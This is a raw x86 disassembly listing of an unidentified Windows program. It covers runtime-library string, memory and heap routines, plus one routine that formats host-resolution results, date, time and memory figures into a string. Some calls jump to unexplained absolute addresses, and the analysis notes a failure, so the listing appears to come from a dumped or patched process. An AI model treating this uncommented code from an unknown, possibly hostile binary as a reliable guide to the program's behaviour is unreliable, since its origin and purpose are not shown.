push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB44: ; CODE XREF: sub_41AA42+54j
; sub_41AA42+D1j ...
mov ax, word_437EF4
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB504
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7D
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
call dword_4CB664
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB5DC
cmp eax, ebx
jz short loc_41ABA6
push dword ptr [eax]
jmp short loc_41ABAB
; ---------------------------------------------------------------------------
loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAB: ; CODE XREF: sub_41AA42+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2820000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A7CC
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 28E0000h
nop
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 28D14A2h
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 29F0000h
nop
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88B
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
call sub_41A98C
push edx
push eax
push offset dword_43A6F0
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp
; sub_401ACD+72F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB70C, 0
jnz short loc_41AD62
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB4E8
test eax, eax
jnz short loc_41AD4B
lea eax, [ebp+var_8C]
push offset dword_43A84C
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4B: ; CODE XREF: sub_41ACF6+40j
test [ebp+var_C], 1
jz short loc_41AD58
push offset dword_43A844
jmp short loc_41AD5D
; ---------------------------------------------------------------------------
loc_41AD58: ; CODE XREF: sub_41ACF6+59j
push offset off_43A840
loc_41AD5D: ; CODE XREF: sub_41ACF6+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7A
; ---------------------------------------------------------------------------
loc_41AD62: ; CODE XREF: sub_41ACF6+28j
mov esi, offset off_43A83C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A7F8
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A92C
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB520
test eax, eax
jz loc_41AF4F
cmp [ebp+var_34], ebx
jbe short loc_41AE8C
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAA
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDE: ; CODE XREF: sub_41ADB5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB5D4
call dword_4CB5F8
mov esi, eax
cmp esi, ebx
jz short loc_41AF67
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB5EC
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB598
test eax, eax
jz short loc_41AF48
push offset dword_43A910
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj
push offset unk_43A8D4
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j
lea eax, [ebp+var_55C]
push offset dword_43A8B8
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF81
; ---------------------------------------------------------------------------
loc_41AF67: ; CODE XREF: sub_41ADB5+153j
push offset unk_43A88C
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj
push offset unk_43A85C
loc_41AF73: ; CODE XREF: sub_41ADB5+191j
; sub_41ADB5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAC
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A72
add esp, 14h
loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AC
pop ecx
push esi
call dword_4CB658
push [ebp+var_4]
call dword_4CB658
push [ebp+var_1D8]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 288097Dh
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41ADB5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DAp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB31+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DCFC8
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DCFC4
nop
call near ptr 2950000h
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F089p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DCFC8
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DCFC0
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DCFC4
call near ptr 2960000h
nop
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFC4
call near ptr 2A00000h
nop
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB9AC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C9A4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DCFC4
nop
call near ptr 2960000h
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DCFC4
nop
call near ptr 2A00000h
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB9AC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFC4
call near ptr 2A00000h
nop
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB9AC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB31+63p ...
arg_0 = dword ptr 4
push dword_4DB9AC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DCFC8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DCFC0
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C9A4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DCFC4
call near ptr 2960000h
nop
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
